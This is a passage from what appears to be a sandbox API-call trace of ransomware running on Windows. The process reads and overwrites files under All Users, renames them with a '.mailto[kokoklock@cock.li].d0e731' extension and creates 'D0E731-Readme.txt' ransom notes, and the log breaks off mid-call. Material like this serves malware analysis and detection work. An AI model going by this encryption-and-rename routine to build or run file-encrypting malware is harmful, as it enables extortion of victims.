Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.727] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x840 [0174.727] GetFileSizeEx (in: hFile=0x840, lpFileSize=0x1d6ffa38 | out: lpFileSize=0x1d6ffa38*=243) returned 1 [0174.727] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0xef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.727] ReadFile (in: hFile=0x840, lpBuffer=0x1d6ffa0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d6ffa08, lpOverlapped=0x0 | out: lpBuffer=0x1d6ffa0c*, lpNumberOfBytesRead=0x1d6ffa08*=0x4, lpOverlapped=0x0) returned 1 [0174.728] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30540c8 [0174.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054190 [0174.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054230 [0174.728] NtQuerySystemTime (in: CurrentTime=0x1d6ff9e4 | out: CurrentTime=0x1d6ff9e4*=132121213320451704) returned 0x0 [0174.728] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x15740207 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0xb7880fed [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x6df3e818 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x284be40f [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x6dfbd2 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0xc8470a45 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0xa8ae5528 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x831a52 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x7f56ddb5 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0xaccdad26 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x6448f129 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x1ee13ad6 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x50027899 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x14522e1 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0xd311f810 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x8fe025fe [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x34b4afc3 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x4cf46ccb [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x1b5e2e39 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0xff4ec579 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0xb2683f08 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0xc5c617e1 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0xdf92e7c5 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x6085f1ba [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x4bd63c6b [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x670ca89d [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0xdd3c5652 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x408218eb [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x14ebb8cb [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0xf18bdae2 [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x580f287b [0174.729] RtlRandom (in: Seed=0x1d6ff9f0 | out: Seed=0x1d6ff9f0) returned 0x7782647b [0174.740] ReadFile (in: hFile=0x840, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0xf3, lpNumberOfBytesRead=0x1d6ff9e4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x1d6ff9e4*=0xf3, lpOverlapped=0x0) returned 1 [0174.740] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d6ff9ac | out: lpNewFilePointer=0x0) returned 1 [0174.740] WriteFile (in: hFile=0x840, lpBuffer=0x2fe5830*, nNumberOfBytesToWrite=0xf3, lpNumberOfBytesWritten=0x1d6ff9e0, lpOverlapped=0x0 | out: lpBuffer=0x2fe5830*, lpNumberOfBytesWritten=0x1d6ff9e0*=0xf3, lpOverlapped=0x0) returned 1 [0174.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054140 [0174.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054280 [0174.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054280) returned 1 [0174.740] WriteFile (in: hFile=0x840, lpBuffer=0x3054140*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d6ff9dc, lpOverlapped=0x0 | out: lpBuffer=0x3054140*, lpNumberOfBytesWritten=0x1d6ff9dc*=0x20, lpOverlapped=0x0) returned 1 [0174.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054140) returned 1 [0174.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe5830) returned 1 [0174.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0174.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0174.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0174.741] WriteFile (in: hFile=0x840, lpBuffer=0x30542f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d6ffa08, lpOverlapped=0x0 | out: lpBuffer=0x30542f8*, lpNumberOfBytesWritten=0x1d6ffa08*=0x8, lpOverlapped=0x0) returned 1 [0174.741] WriteFile (in: hFile=0x840, lpBuffer=0x1d6ffa20*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d6ffa08, lpOverlapped=0x0 | out: lpBuffer=0x1d6ffa20*, lpNumberOfBytesWritten=0x1d6ffa08*=0x4, lpOverlapped=0x0) returned 1 [0174.741] WriteFile (in: hFile=0x840, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d6ffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1d6ffa08*=0x4, lpOverlapped=0x0) returned 1 [0174.741] WriteFile (in: hFile=0x840, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d6ffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1d6ffa08*=0x6c, lpOverlapped=0x0) returned 1 [0174.741] WriteFile (in: hFile=0x840, lpBuffer=0x3054190*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d6ffa08, lpOverlapped=0x0 | out: lpBuffer=0x3054190*, lpNumberOfBytesWritten=0x1d6ffa08*=0x20, lpOverlapped=0x0) returned 1 [0174.741] WriteFile (in: hFile=0x840, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d6ffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1d6ffa08*=0x4, lpOverlapped=0x0) returned 1 [0174.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054190) returned 1 [0174.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054118) returned 1 [0174.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30542f8) returned 1 [0174.741] CloseHandle (hObject=0x840) returned 1 [0174.741] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x11c) returned 0x2f70d80 [0174.741] wcscpy (in: _Dest=0x2f70d80, _Source="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731" [0174.741] wcscat (in: _Dest=0x2f70d80, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0174.741] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.744] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0174.744] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0174.744] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.744] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x88) returned 0x2f82e98 [0174.744] wcscpy (in: _Dest=0x2f82e98, _Source="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\" [0174.744] wcscat (in: _Dest=0x2f82e98, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\D0E731-Readme.txt" [0174.744] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\d0e731-readme.txt")) returned 0x2020 [0174.747] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82e98) returned 1 [0174.747] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f987a8) returned 1 [0174.747] RtlExitUserThread (Status=0x1) Thread: id = 2255 os_tid = 0xcd4 [0174.749] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.749] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.749] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.749] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.749] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305cf80) returned 1 [0174.749] RtlExitUserThread (Status=0x0) Thread: id = 2256 os_tid = 0xcd8 [0174.750] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.752] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.752] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.752] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.752] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0174.752] RtlExitUserThread (Status=0x0) Thread: id = 2257 os_tid = 0xd2c [0174.753] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.753] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.754] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.754] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.754] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30463b0) returned 1 [0174.754] RtlExitUserThread (Status=0x0) Thread: id = 2258 os_tid = 0xd38 [0174.755] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.755] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.756] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.756] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.756] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0174.756] RtlExitUserThread (Status=0x0) Thread: id = 2259 os_tid = 0xd3c [0174.757] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.757] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.757] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.757] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.757] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f598) returned 1 [0174.757] RtlExitUserThread (Status=0x0) Thread: id = 2260 os_tid = 0xd34 [0174.758] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.759] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.759] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.759] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.759] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046140) returned 1 [0174.759] RtlExitUserThread (Status=0x0) Thread: id = 2261 os_tid = 0xd1c [0174.760] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.761] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.761] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.761] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.761] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0b10) returned 1 [0174.761] RtlExitUserThread (Status=0x0) Thread: id = 2262 os_tid = 0xb9c [0174.762] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.763] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.763] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.763] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.763] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046008) returned 1 [0174.763] RtlExitUserThread (Status=0x0) Thread: id = 2263 os_tid = 0x96c [0174.764] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.765] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.765] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all 